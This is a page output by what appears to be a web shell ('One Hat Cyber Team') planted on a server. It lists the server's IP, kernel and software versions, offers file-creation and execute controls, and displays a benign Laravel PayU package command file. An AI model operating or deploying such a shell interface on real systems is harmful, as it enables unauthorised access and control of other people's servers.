⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
dnc
/
@core
/
vendor
/
tzsk
/
payu
/
src
/
Commands
/
View File Name :
PublishComponents.php
<?php namespace Tzsk\Payu\Commands; use Illuminate\Console\Command; class PublishComponents extends Command { public $signature = 'payu:publish {--c|config : Publish config file} {--m|migration : Publish migration} {--t|template : Publish templates} {--a|all : Publish everything}'; public $description = 'Publish payu config and/or migration'; public function handle() { $allowed = ['config', 'migration', 'template']; $items = collect($allowed) ->mapWithKeys(fn ($value) => [$value => $this->option($value)]) ->filter() ->keys() ->all(); $input = array_filter($items, fn ($item) => in_array($item, $allowed)); if (count($input) < count($items)) { $this->error('Invalid publishable item supplied.'); return; } $items = empty($input) ? $allowed : $input; collect($items) ->map( fn ($item) => $this->call('vendor:publish', ['--tag' => "payu-{$item}"]) ); } }